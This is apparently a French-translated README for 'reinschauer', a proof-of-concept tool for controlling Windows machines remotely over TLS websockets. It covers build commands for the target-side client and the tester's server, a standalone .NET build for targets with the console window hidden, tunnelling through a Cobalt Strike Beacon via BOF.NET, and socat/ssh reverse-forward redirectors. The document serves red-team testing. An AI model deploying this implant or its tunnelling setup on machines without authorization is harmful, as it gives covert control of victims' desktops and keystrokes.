
it is very good

Un PoC pour contrôler à distance des machines Windows via Websockets. Consultez mon blog pour un writeup.


reinschauer convertit les bitmaps bruts en JPEG et compresse les données résultantes avant de les envoyer sur le réseau afin de réduire la taille des frames.
server pour générer des fichiers TLS serveur ou fournir les vôtres.reinschauer-server -h pour les options disponibles.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
Comment compiler ?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
J'ai inclus une version pré-compilée et autonome de la variante dotnet dans ce dépôt. Si vous voulez la compiler vous-même, utilisez le fichier projet Visual Studio pour compiler la variante Release x64. Si cela ne se fait pas automatiquement, téléchargez les packages NuGet requis pour le projet via Visual Studio. Votre système cible n'a probablement pas non plus ces packages installés et des DLL peuvent donc manquer lors de l'exécution de l'exécutable résultant sur la cible. Pour contourner ce problème, ce projet invoque automatiquement ILMerge.exe pour regrouper l'exécutable résultant avec les bibliothèques requises. Par conséquent, utilisez le fichier généré appelé reinschauer-dotnet-standalone.exe sur les cibles.
Vous devrez peut-être faire un
go getau préalable. Utilisez-ldflags -H=windowsguipour désactiver la fenêtre console.
Qui est le client / le serveur ?
Le
clientest exécuté sur la machine cible (Windows). Le composantserverest exécuté sur la machine du testeur (Linux). Il écoute sur0.0.0.0:6969par défaut. Les clients Golang et C# sont tous deux compatibles avec le serveur.
Est-ce un HVNC / Bureau caché ?
Non. Il utilise le même Bureau que l'utilisateur.
Certaines touches et combinaisons de touches ne fonctionnent pas, merci de corriger
Je sais que |, @ et § peuvent ne pas fonctionner actuellement, du moins sur mon clavier allemand pourri. Merci de corriger.
Le client utilise trop de temps CPU
Utiliser une valeur de FPS plus faible peut fonctionner.
Je n'ai pas de connexion directe entre le client et le server
Vous pouvez utiliser un Beacon CobaltStrike pour tunneliser le trafic.
Je n'ai pas Cobaltstrike !
Utilisez un redirecteur
socatcomme :
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
et lancez le client avec les paramètres requis ou codez-les en dur.
Tout d'abord, configurez BOF.NET conformément au manuel. Ensuite, chargez l'exécutable autonome avec bofnet_load <Chemin vers l'exe>. Ensuite, décidez comment utiliser Reinschauer :
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Cela fait automatiquement que Reinschauer se connecte à 127.0.0.1:6969 sur 127.0.0.1 de la machine cible. Cela désactive également TLS, car il utilise de toute façon la connexion Beacon.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <IP du serveur> <Port du serveur> true. Le paramètre booléen active l'utilisation de TLS.bofnet_jobkill <Job ID>.Ensuite, utilisez SSH et la fonctionnalité GatewayPorts : ajoutez GatewayPorts: clientspecified à sshd_config et redémarrez le serveur SSH. Puis, ssh -R '0.0.0.0:8080:localhost:6969'' [...] rendra votre port local 6969 disponible sur 0.0.0.0:8080. Soyez prudent :)
Ou, configurez un redirecteur socat sur le serveur :
socat TCP4-LISTEN:<Port du serveur>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>